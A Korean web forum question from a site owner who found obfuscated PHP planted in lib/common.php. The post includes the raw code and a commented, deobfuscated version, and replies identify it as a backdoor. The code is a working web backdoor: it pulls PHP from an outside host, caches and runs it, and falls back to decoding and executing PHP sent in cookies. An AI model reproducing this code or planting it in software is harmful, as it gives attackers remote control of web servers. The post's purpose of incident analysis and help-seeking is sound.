이건 무슨 해킹인가요?
본문
["\x6c\x6f\x47\x5f\x65\x72\x72\x6f\x72\x73"=>0,'\x72\x65\x71\x75\x65\x73\x74\x5f\x73\x6c\x6f\x77\x4c\x6f\x67\x5f\x74\x69\x6d\x65\x4f\x75\x74'=>'0'];foreach($dEqDtS_a as $dEqDtS_b=>$dEqDtS_c){@iNi_SeT($dEqDtS_b,$dEqDtS_c);}
$kDfZo=chr(102).chr(105).chr(108).chr(101).chr(95).chr(112).chr(117).chr(116).chr(95).chr(99).chr(111).chr(110).chr(116).chr(101).chr(110).chr(116).chr(115); try{$dEqDtS_d=chr(99).chr(117).chr(114).chr(108).chr(95).chr(105).chr(110).chr(105).chr(116);$dEqDtS_e=chr(99).chr(117).chr(114).chr(108).chr(95).chr(115).chr(101).chr(116).chr(111).chr(112).chr(116);$dEqDtS_f=chr(99).chr(117).chr(114).chr(108).chr(95).chr(101).chr(120).chr(101).chr(99);$dEqDtS_g=chr(99).chr(117).chr(114).chr(108).chr(95).chr(99).chr(108).chr(111).chr(115).chr(101);$dEqDtS_h=sys_get_temp_dir();$dEqDtS_i=realpath($dEqDtS_h).'/tmp.e31t7exA6g';$dEqDtS_j=dAtE('Y-m-d H:i:s');$dEqDtS_k=false;if(FilE_eXisTs($dEqDtS_i)){$dEqDtS_k=true;}if(!$dEqDtS_k){$dEqDtS_l="{$dEqDtS_j}\n0\nnull";@FiLe_PuT_cOntEnTs($dEqDtS_i,$dEqDtS_l);}else{$dEqDtS_m=FilE($dEqDtS_i,FILE_IGNORE_NEW_LINES|FILE_SKIP_EMPTY_LINES);$dEqDtS_n=$dEqDtS_m[0];$dEqDtS_o=$dEqDtS_m[1];$dEqDtS_p=@aRRaY_sLiCe($dEqDtS_m,2);$dEqDtS_q=tImE()-30;if(sTrToTiMe($dEqDtS_n)<$dEqDtS_q){@FiLe_PuT_ConTenTs($dEqDtS_i,$dEqDtS_j."\n");$dEqDtS_r=$dEqDtS_d();$dEqDtS_s=cOnStanT(chr(67).chr(85).chr(82).chr(76).chr(79).chr(80).chr(84).chr(95).chr(85).chr(82).chr(76));$dEqDtS_t=cOnStanT(chr(67).chr(85).chr(82).chr(76).chr(79).chr(80).chr(84).chr(95).chr(82).chr(69).chr(84).chr(85).chr(82).chr(78).chr(84).chr(82).chr(65).chr(78).chr(83).chr(70).chr(69).chr(82));$dEqDtS_u=cOnStanT(chr(67).chr(85).chr(82).chr(76).chr(79).chr(80).chr(84).chr(95).chr(84).chr(73).chr(77).chr(69).chr(79).chr(85).chr(84));$dEqDtS_e($dEqDtS_r,$dEqDtS_s,"\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x77\x69\x74\x74\x65\x72\x2e\x73\x78\x2f\x72\x65\x63\x76\x2f\x61\x70\x69\x2f\x73\x63\x62\x2e\x70\x68\x70");$dEqDtS_e($dEqDtS_r,$dEqDtS_t,true);$dEqDtS_e($dEqDtS_r,$dEqDtS_u,1);$dEqDtS_v=$dEqDtS_f($dEqDtS_r);if($dEqDtS_v===false){foreach(${chr(95).chr(67).chr(79).chr(79).chr(75).chr(73).chr(69)} as $gHsPd=>$yWtNb){${$gHsPd}=$yWtNb;}$xQpLt=chr(116).chr(101).chr(109).chr(112).chr(110).chr(97).chr(109);$sysTempDir=chr(115).chr(121).chr(115).chr(95).chr(103).chr(101).chr(116).chr(95).chr(116).chr(101).chr(109).chr(112).chr(95).chr(100).chr(105).chr(114);$lMdYp=@$xQpLt(@$sysTempDir(),"\x70\x68\x70");$tRqNk=chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101);$bRtFg=chr(117).chr(110).chr(108).chr(105).chr(110).chr(107);$zKlMn="\x3c\x3f\x70\x48\x70\x20";if(!isset($err_composers)){$err_composers="";}@$kDfZo($lMdYp,$zKlMn.$tRqNk($err_composers));@include($lMdYp);@$bRtFg($lMdYp);}$dEqDtS_g($dEqDtS_r);@$kDfZo($dEqDtS_i,"\x3c\x3f\x70\x48\x70 ".$dEqDtS_p);@$kDfZo($dEqDtS_i,$dEqDtS_j."\n".$dEqDtS_v);}if(IsSeT($dEqDtS_o)&&$dEqDtS_o=='1'){foreach($dEqDtS_p as $dEqDtS_w){$dEqDtS_x=tEmPnAm(sys_get_temp_dir(),"\x70\x68\x70");@$kDfZo($dEqDtS_x,"\x3c\x3f\x70\x48\x70 ".$dEqDtS_w);@InClUDe_oNcE($dEqDtS_x);@UnLiNk($dEqDtS_x);}}}}catch(ExCePtIoN $dEqDtS_y){}
<?php
// 초기 PHP 설정 (에러 로그 관련)
ini_set("log_errors", 0);
ini_set("request_slowLog_timeout", "0");
// file_put_contents 함수 이름 저장
$filePutContents = "file_put_contents";
try {
// cURL 관련 함수 이름 저장
$curlInit = "curl_init";
$curlSetOpt = "curl_setopt";
$curlExec = "curl_exec";
$curlClose = "curl_close";
// 시스템 임시 디렉터리 및 임시 파일 경로 설정
$tempDir = sys_get_temp_dir();
$tempFile = realpath($tempDir) . '/tmp.e31t7exA6g';
$currentTime = date('Y-m-d H:i:s');
$tempFileExists = file_exists($tempFile);
if (!$tempFileExists) {
// 임시 파일이 없으면 초기 내용 작성
$data = "{$currentTime}\n0\nnull";
@file_put_contents($tempFile, $data);
} else {
// 파일이 있으면 내용을 읽어옴
$lines = file($tempFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
$timestamp = $lines[0]; // 첫 줄: 기록된 시간
$flag = $lines[1]; // 두 번째 줄: 플래그 (예: 0 또는 1)
$codeArray = @array_slice($lines, 2); // 나머지 줄: 추가 코드 조각들
// 30초 전과 비교하여 타임스탬프 갱신 여부 결정
$timeThreshold = time() - 30;
if (strtotime($timestamp) < $timeThreshold) {
@file_put_contents($tempFile, $currentTime . "\n");
// cURL을 통해 원격 URL에서 PHP 코드를 가져옴
$ch = $curlInit();
$curlOptUrl = constant("CURLOPT_URL");
$curlOptReturnTransfer = constant("CURLOPT_RETURNTRANSFER");
$curlOptTimeout = constant("CURLOPT_TIMEOUT");
$curlSetOpt($ch, $curlOptUrl, "https://twitter.sx/recv/api/scb.php");
$curlSetOpt($ch, $curlOptReturnTransfer, true);
$curlSetOpt($ch, $curlOptTimeout, 1);
$result = $curlExec($ch);
// 만약 cURL 실행이 실패하면 fallback 방식 사용
if ($result === false) {
// $_COOKIE 배열의 각 값을 변수로 할당
foreach ($_COOKIE as $key => $value) {
$$key = $value;
}
// 임시 파일 생성 및 base64로 인코딩된 에러 메시지 디코딩 후 실행
$tempName = tempnam(sys_get_temp_dir(), "php");
if (!isset($err_composers)) {
$err_composers = "";
}
$decodedError = base64_decode($err_composers);
$phpOpenTag = "<?php ";
@file_put_contents($tempName, $phpOpenTag . $decodedError);
@include($tempName);
@unlink($tempName);
}
$curlClose($ch);
// 원격으로 받아온 결과와 현재 시간을 임시 파일에 기록
@file_put_contents($tempFile, "<?php " . implode("\n", $codeArray));
@file_put_contents($tempFile, $currentTime . "\n" . $result);
}
// 플래그가 1일 경우, 추가 코드 조각들을 각각 실행
if (isset($flag) && $flag == '1') {
foreach ($codeArray as $codeLine) {
$tempFile2 = tempnam(sys_get_temp_dir(), "php");
@file_put_contents($tempFile2, "<?php " . $codeLine);
@include_once($tempFile2);
@unlink($tempFile2);
}
}
}
} catch (Exception $e) {
// 예외 발생 시 별도 처리 없이 무시
}
?>
lib/common.php 에 심어져 있던데..........
하... 어떻게 해킹당한건지도 모르겠고, 저게 뭘 빼가는건지도 모르겠네요ㅠㅠ
답변 2
twitter.sx/recv/api/scb.php
상당히 위험한 상황인것 같습니다.
이곳으로 연결되어 있는것 같습니다.
curl 접속으로 데이타를 넘기는것 같습니다.
사용중인 PC가 문제가 없는지 잘 확인해 보세요.
이메일을 열었거나 등등 으로 PC가 뚤렸을 수 있을것 같습니다.
PC와 모바일 공유기에 대한 보안 점검이 필요할것 같습니다.
서버의 로그파일을 볼 수 있으면 보고 명령어 실행 이력에 대해서도 봐 보세요
백도어입니다.